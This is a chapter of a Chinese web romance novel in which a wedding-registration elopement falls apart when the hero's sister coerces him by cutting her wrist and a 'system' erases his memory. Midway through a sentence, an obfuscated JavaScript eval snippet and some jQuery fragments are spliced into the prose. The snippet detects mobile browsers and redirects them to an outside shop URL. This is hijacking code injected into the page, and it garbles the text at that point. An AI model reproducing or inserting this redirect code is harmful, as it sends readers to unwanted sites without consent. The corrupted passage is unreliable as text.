“我们去领证吧。”
那句话很轻,软软糯糯的,像一片雪花,无声地飘落。
对时卿舟却是一场雪崩。
时卿舟抱着她的手臂,在那一瞬间收得死紧。
领证。
她说,领证。
狂喜,如同积压了几个世纪的火山,在他胸腔内轰然爆发!
岩浆冲刷着他的每一根血管,每一个神经末梢都在疯狂地尖叫、战栗!
他想疯。
他快疯了。
他的胸腔剧烈地起伏着,呼吸变得滚烫而急促,那双漂亮的桃花眼深处,翻涌着浓稠到化不开的疯狂与占有欲。
他的月月……他的神明……主动提出要用世俗的枷锁,将自己与他这个恶鬼永远捆绑在一起。
这是何等的恩赐。
何等的……让他想要毁灭一切的冲动。
他死死地咬着牙关,下颌线绷得死紧,拼尽全力才没有当场失控。
不行。
不能吓到她。
现在最重要的事情,是立刻,马上,带她离开这里。
然后将这件事变成既定事实。
时卿舟缓缓地松开了手臂,脸上重新浮现出那副温柔得无可挑剔的笑容。
他低下头,用一种珍而重之的姿态,轻轻吻了吻她的额头。
“好,我们去领证。”
他缓缓地,缓缓地松开了紧抱着她的手臂。
他走到阳台边,推开了那扇通往外界的玻璃门。
“走,我带你离开。”
夹杂着雪籽的冷风灌了进来,让他滚烫的大脑稍稍降温。
看到孟昭月套上外套,时卿舟直接翻身越过栏杆,从二楼的阳台轻盈地跳了下去。
松软的雪地缓冲了他的落地,他稳稳地站定,然后抬起头,在清冷的月光下,对着女孩,伸出了手。
孟昭月走到阳台边,看着雪地里那个向她伸出手的男人。
月光如华,雪色如银,他站在一片皎洁之中,黑色的风衣衣角被夜风吹起,那双桃花眼就那么专注地、虔诚地望着她。
这一幕,让她有些恍惚。
她觉得自己好像曾经也经历过类似的场景,从同样的地方跃下,只是……
好像曾经楼下没有人等她。
现在,她看着雪地里的时卿舟,心里涌上一种名为“归属”的圆满。
她轻笑出声,趴在栏杆上,歪着头看他。
“我们这样,好像罗密欧与朱丽叶哦。”
时卿舟听到她的话,唇角勾起一个温柔的弧度。
“那么,我的朱丽叶。”
他的声音在寂静的雪夜里响起,低沉而悦耳。
“愿意跟着你的罗密欧,私奔吗?”
“当然。”孟昭月毫不犹豫地回答。
她学着他的样子,利落地翻过栏杆,然后,义无反顾地,朝着那双向她敞开的手臂,跳了下去。
她落入了一个温暖而坚实的怀抱。
时卿舟稳稳地接住了她,将她紧紧地圈在怀里,仿佛抱着全世界最珍贵的宝藏。
两人小心翼翼地避开庄园的监控死角和巡逻的保镖,悄无声息地穿过花园。
雪地很软,踩上去没有声音,只有两行深浅不一的脚印,在月光下延伸向远方。
……
车内开着暖气,孟昭月靠在柔软的真皮座椅上,侧过头,看着身边专心开车的男人。
她要和阿卿去领证了!
这个认知,像一颗投入汽水里的薄荷糖,在她心里咕噜咕噜地冒着甜美的泡泡。
时卿舟似乎察觉到了她的视线,唇角一直保持着上扬的弧度。
“我们去我的公寓拿证件。”他的声音在安静的车厢里响起,带着压抑不住的愉悦。
“月月去到公寓好好休息,明天一早民政局上班,我们就过去。”
“嗯。”孟昭月乖巧地点了点头。
她的目光落在他握着方向盘的手上,手的腕部还缠着纱布。
“你的手……”她有些担心地开口。
她有些郁闷地鼓起了腮帮子,声音有些低落。
“阿卿的手……好像老是因为我受伤,上次被枪打中,现在手腕又受伤了。”
时卿舟闻言,轻笑一声,腾出一只手,揉了揉她的脑袋。
“受伤是因为坏人,和乖乖月月没有关系”
“别担心,江浩奚看过了,只是皮肉伤,养两周就好了。”
他顿了顿,又用一种满不在乎的语气补充道。
“而且,事不过三,这才两次,都是小伤。”
“呸呸呸!”孟昭月立刻紧张地打断他,伸出小手捂住了他的嘴。
“不准乱立flag!”
时卿舟看着她那副紧张兮兮的可爱模样,眼底的笑意更深了。
他趁机在她的手心,轻轻地吻了一下。
孟昭月触电一样连忙把手收了回来。
……
时卿舟的私人公寓。
“我去书房拿证件,你先坐。”
孟昭月没有坐,而是像条小尾巴一样跟着时卿舟进了书房。
时卿舟看到孟昭月跟进来了,没有阻止她,只是继续翻找着自己的证件。
孟昭月进去后好奇地打量着时卿舟的书房。
她的目光,很快就被书桌上摆着的一个透明相框吸引了。
她走过去,拿起相框。
那是一张素描画像。
画中是一个女孩的侧脸,线条流畅,神态安详,正沉沉地睡着。
那张脸……
孟昭月怔住了。
是她。
就在这时,时卿舟找到了证件,他看到孟昭月拿着那个相框,走近她从背后抱住了她。
“时莉莉提到的那张画像,应该就是这张。”他的声音在她耳边响起。
孟昭月转过头,仰起脸看他,那双干净的杏眼里写满了困惑。
“阿卿怎么会有我的画像,你画的?”
“我不会画画。”时卿舟摇了摇头,唇角勾起一个温柔的弧度。
“是别人送的。”
“谁送的?”
“顾清珩。”
孟昭月惊讶地睁大了眼睛。
“他?他怎么会送你这个?”
明明在缅国的时候,这两个人还针锋相对,一副情敌见面分外眼红的样子。
时卿舟轻描淡写地解释道。
“我的手下,之前在顾清珩那里工作过一段时间。”
“有一次,我跟他说了这幅画。”
“他无意间打开了顾青珩的私人保险箱,然后取走了画。”
时卿舟顿了顿,又补充了一句。
“顾清珩当时虽然不在场,但也没有阻止,所以,也算是他送的。”
孟昭月:“???”
“你这不就是偷的吗?”
还有,什么叫“我的手下在帮他那里工作”?
那不就是卧底吗?!
时卿舟表情无辜:“他没报警,怎么能算偷的呢?”
孟昭月:“……”
说起时莉莉,孟昭月想起了时莉莉和时燃都提到过的话。
“阿卿,时燃说,你心里一直有一个心心念念的人。”
“时莉莉也说,你有个白月光,长得和我一模一样……”
时卿舟蹭了蹭孟昭月,温柔道:“他们说的,都是你。”
“可是你以前根本不认识我呀。”孟昭月不解,还有这张画像也是。
他缓缓抬起头,定定地看着她,眼底翻涌着孟昭月看不懂的、浓稠如墨的情绪:
“不是的,我很久以前就认识你了”
“月月,我一直在看着你。”
“从很久很久以前,就在看着你。”
他的眼神专注而偏执,仿佛落在了她灵魂的最深处。
“我爱一直是孟昭月,就是你。”
“我们,属于彼此。”
……
夜深了。
卧室里。
两人相拥而眠。
时卿舟的手机在床头柜上无声地亮起,震动了一下。
历来浅眠的时卿舟几乎立刻睁开了眼睛。
时卿舟小心翼翼地抽出被孟昭月枕着的手臂,俯身亲了亲女孩光洁的额头,然后才拿起手机,悄声走到了卧室的阳台上。
“说。”
电话那头,是姜玦恭敬的声音。
“少爷,时费先生正在找您。”
时卿舟隔着薄薄的纱帘,看了一眼床上那个安睡的身影。
“知道了。”
他挂断电话,没有立刻离开。
他回到床边,又看了很久,才转身穿上衣服。
在经过书房时,他的脚步顿了顿,将那幅画小心地取了下来,仔细地折好,然后,放进了风衣外套的口袋里。
……
孟昭月醒来时,窗外天光已亮。
身边的位置是空的。
床头柜上,是一套准备好的Chanel当季最新款的白色软呢套装,旁边还放着一件配套的纯白皮草大衣,以及一个新款手机。
衣服旁边,是一个小巧的、没有任何标识的黑色丝绒盒子。
孟昭月好奇地打开盒子。
那是一条项链,吊坠是一颗水滴形的血钻。
璀璨夺目。
盒子底下,压着一张便签。
字迹是时卿舟狂放有力的笔锋。
「新婚礼物,上次从昂山多那拿的。」
「时家有点事,我先回庄园一趟。你休息好后可以先去民政局。」
「等我。」
孟昭月看着那张字条,唇角不受控制地向上扬起。
她拿起那条血钻项链戴上。
那抹艳丽的红色,衬得女孩的肌肤愈发雪白。
孟昭月心情极好地换上那套冬装,站在落地镜前转了个圈。
她哼着不成调的歌,关上了公寓的门,前往那个即将见证她与他仪式的地方。
……
与此同时,时家庄园。
主楼书房的门被从内打开,时卿舟从里面走了出来。
他脸上没有了面对孟昭月时的温柔笑意,那双漂亮的桃花眼深处,是毫不掩饰的狠厉。
等候在门口的姜玦立刻迎了上来,躬身行礼。
“少爷。”
时卿舟没有停下脚步,径直朝着楼梯的方向走去,只是淡淡地“嗯”了一声。
“欧洲那边的事情,处理好了?”
“是。”姜玦跟在他身后,语速平稳地汇报。
“那边的资产已经到我们名下了,八少爷他们已经处理干净了。”
时卿舟点了点头。
他走到楼梯口,脚步顿了一下,又开口问道:“白岺的项目转到你手上处理。”
“是。”姜玦躬身领命,随即转身退了下去。
时卿舟独自一人走下楼梯,穿过空旷的大厅。
就在他即将走出主楼大门时,一个身影跟了过来。
是时莉莉。
她依旧是双马尾,身上是粉黑风格的毛衣和百褶裙,腰侧挂着可爱的小型毛绒玩具。
她脸上画着精致的妆容,看起来像是刻意打扮过。
“小狗!你要去哪?”
她拦住时卿舟,那双大眼睛直勾勾地盯着他。
“Hero刚刚不是说过,让你今天陪,着,我。”
时卿舟没理她,冷漠地直接绕过了她。
时莉莉见状,脸上的甜美笑容瞬间消失,取而代之的是一种被无视后的、扭曲的愤怒。
她一把拽住时卿舟。
“我说过,你要是敢走,我就死在这里!”
说着她另一只手抽出一把折叠刀。
时卿舟抽回自己的手臂,想要继续离开。
时莉莉见状,毫不犹豫地直接用刀往自己的手腕割去。
血顿时涌了出来。
“你看我要**哦,小狗,你还要走吗?”
她睁着大大的眼睛盯着时卿舟,满是得意的笑容。
赶快给我出来,我的小狗!
时卿舟的瞳孔,在那一瞬间,骤然扩散。
他下意识地伸出手,去摸口袋里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646718|188077||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那个白色药瓶。
可是刚打开药瓶,他的身体猛地僵住,手中的药瓶掉落在地。
白色的药片,瞬间散落了一地。
……
民政局门口。
冬日的阳光暖洋洋的,照在人身上很舒服。
孟昭月心情很好地哼着歌,靠在门口的栏杆上,一下一下地踢着脚边的小石子。
她看着一对对从里面走出来的年轻男女,他们脸上都洋溢着幸福的笑容,手里拿着那个红色的小本本。
真好啊。
她忍不住也跟着笑了起来,下意识地抬起手,轻轻摩挲着无名指上那枚“克娄巴特拉的蛇”。
很快,她和阿卿,也会像他们一样了。
她满怀期待地,朝着路口的方向望去。
时间,一分一秒的过去。
太阳从正当空,慢慢地向西偏移。
孟昭月肚子有些饿了,她跑到不远处的摊子上买了个煎饼果子,坐在路边的长椅上,小口小口地吃着。
吃完,她把垃圾袋丢进垃圾桶,又回到民政局门口。
她继续等着。
民政局门口的人渐渐稀少,最后,民政局的玻璃门也关上了。
卖煎饼果子的大叔也走了。
时卿舟,还是没有出现。
孟昭月沉默了一会,喜悦的情绪退去,然后是后知后觉的不对劲。
她拿出手机,拨通了时卿舟的电话。
“对不起,您拨打的电话暂时无人接听……”
冰冷的机械女声传来。
她又打了几遍,结果都一样。
她想了想,翻了一下通讯录,看到有江浩奚的号码,拨了过去。
电话很快被接通。
“孟小姐?”江浩奚的声音听起来有些意外。
“江医生,你好,请问阿卿他和你在一起吗?我联系不上他。”
电话那头沉默了几秒。
“我今天没有和时先生在一起。”江浩奚回答。
他似乎想到了什么,又补充了一句。
“您别着急,白天少爷的助理见过他,他应该没有危险。”
“我先去核实一下情况,有消息了第一时间通知您。”
听到没有危险,她稍微松了口气。
“好,谢谢你。”
挂断电话,孟昭月站在空无一人的民政局门口,看着天色一点一点地暗下去。
天空中,开始飘起了小雪。
她等了一会,有些无聊,蹲下身,开始在路边的花坛边,用积雪堆起了小小迷你雪人。
……
时家庄园,西翼医疗室。
消毒水的味道弥漫在空气里。
时卿舟坐在病床边,垂着眸,面无表情地削着苹果。
他脸上没有了平日里那副温和的笑意,取而代之的,是一种浓得化不开的阴郁和黑暗。
“小狗,我要小兔子的形状。”
时莉莉靠在床头,心情很好地指挥着他。
时卿舟削苹果的动作没有停,只是淡淡地“嗯”了一声。
时莉莉在脑海里愉快地问:“系统,反派的好感度多少了?”
【攻略目标时卿舟,当前好感度:60(依恋)。】
系统的电子音在时莉莉脑海里响起。
时莉莉:“那个异常数据呢?”
【正在启动删除程序,预计二十四小时内,将彻底清除。】
时莉莉满意地打了个呵欠,有些困了。
她看着眼前的男人,威胁道:“我要睡觉了,等我醒来的时候,必须第一眼就看到你。”
“第一时间,听到了吗?”她强调了一边。
时卿舟点了点头,声音平淡。
“好。”
得到他肯定的答复,时莉莉心满意足地闭上了眼睛,很快就睡了过去。
时卿舟安静地守在床边。
一个女仆小心翼翼地走了进来,将一个白色的小药瓶递到他面前。
“少爷,这是您白天掉在大厅的。”
时卿舟接过药瓶,看了一会儿,然后起身走进了卫生间。
他拧开瓶盖,将里面所有的白色药片,都倒进了马桶里,然后按下了冲水键。
白色的药片在漩涡中消失不见。
他洗了洗手,从口袋里取出手帕时,一张折叠起来的纸,掉了出来。
时卿舟愣了一下,弯腰捡起。
展开。
他的目光,在那一瞬间,被牢牢地攫住了。
他看到了一个女孩。
一个极其漂亮的女孩。
他看着画中那个安详的、沉睡的女孩,那双死寂的眼睛里,终于有了一丝微弱的波澜。
他的脑海里突然生出某种……刻进血肉的极度渴望。
如同属于他的最原始的本能。
他伸出手,指尖轻轻地,一遍又一遍地,抚摸着画上的人。
我的。
——他想要她。
……
夜,越来越深了。
雪越下越大。
路灯下,一排小小的雪人,在路灯的映照下,投下长长的、孤寂的影子。
孟昭月蹲在路灯下,堆完了又一个迷你雪人。
她的头发上、肩膀上,都落满了雪,整个人看起来都毛茸茸的。
她抬头看向路口,还是没有时卿舟,也没有等到别的消息。
空旷而黑暗的街道。
没有车,也没有人。
只有她,和昏黄的路灯下那一排不会说话的雪人。
她好像……又被一个人丢下了。
全世界都抛弃了她。
她低下头,呆呆地看着脚边那个刚堆好的、歪歪扭扭的小雪人。
“是不是……我又没有被选择啊……”
她的声音很轻,在寂静的雪夜里,几乎要被风吹散。
就在这时,一把黑色的雨伞,突然出现在她的头顶,为她遮住了漫天的风雪。
孟昭月愣了一下,缓缓地,抬起了头。
一个高大的身影,逆着光,站在她的面前。
是时卿舟。